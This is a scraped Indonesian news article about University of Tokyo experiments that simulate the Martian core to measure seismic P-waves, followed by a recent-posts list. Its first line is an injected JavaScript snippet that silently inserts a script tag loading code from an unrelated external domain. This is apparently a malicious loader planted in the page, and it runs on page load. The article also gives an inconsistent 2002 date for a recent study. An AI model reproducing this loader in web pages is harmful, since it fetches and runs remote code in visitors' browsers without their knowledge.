(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: IPTEK

Ilmuwan Ungkap Rincian Aktivitas Gempa di Mars


KANALKALIMANTAN.COM, JAKARTA– Tim peneliti di Universitas Tokyo, mengungkap rincian tentang aktivitas seismik Mars untuk pertama kalinya dalam sebuah penelitian baru. Hasil penelitian ini dapat menghancurkan teori-teori tentang asal-usul Mars.

Meskipun Mars adalah planet tetangga, namun jauh lebih aman dan lebih murah untuk menyelidiki Mars melalui simulasi di Bumi daripada meluncurkan pesawat luar angkasa.

Keisuke Nishida, seorang asisten profesor di Departemen Ilmu Bumi dan Planetary Universitas Tokyo, bersama rekan timnya mencoba untuk meniru kondisi inti paling atas Mars, dengan paduan belerang-besi cair yang ditempatkan dalam suhu 1.500 derajat Celcius. Demikian dilansir suara.com, mitra media Kanalkalimantan.com.

Dengan melakukan hal tersebut, para ilmuwan mampu mengukur aktivitas seismik. Dalam hal ini, Nishida menangkap P-Waves dengan kecepatan 4.680 meter per detik melalui paduan dan mendokumentasikannya menggunakan sinar-X.

P-Waves sendiri merupakan salah satu dari dua jenis gelombang seismik dan sering disebut sebagai gelombang tanah karena merambat di dalam tanah. Gelombang ini ditimbulkan oleh gempa bumi dan merupakan jenis gelombang yang memiliki kecepatan paling tinggi, dibandingkan gelombang sismik lainnya.

Umumnya selain P-Waves, gempa bumi juga menimbulkan S-Waves atau gelombang sekunder. P-Waves memberikan sentakan pertama dari fenomena yang mengguncang Bumi ini sementara S-Waves memberikan guncangan kedua selama gempa Bumi. Kedua gelombang ini dapat digunakan untuk memperkirakan jarak ke fokus gempa atau titik asal gempa.

“Karena kendala teknis, butuh lebih dari tiga tahun sebelum kami dapat mengumpulkan data ultrasonik yang kami butuhkan. Jadi saya sangat senang kami sekarang memilikinya. Sampelnya sangat kecil, yang mungkin mengejutkan beberapa orang, mengingat skala besar planet ini yang kita simulasikan secara efektif,” ucap Nishida, seperti dikutip dari Space.com, Senin (25/5/2002).

Mars sudah lama diduga memiliki inti yang terbuat dari belerang-besi, tetapi mengingat pengamatan langsung belum memungkinkan, gelombang seismik memungkinkan para ilmuwan dapat menggali lebih dalam.

Menurut Nishida, temuan ini dapat membantu para ilmuwan planet membaca data seismik Mars untuk mengetahui apakah inti Mars terdiri dari belerang-besi dan itu akan memberi tahu asal-usul Mars. Penelitian Nishida dan timnya diterbitkan pada 13 Mei dalam jurnal Nature Communications.(suara)


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.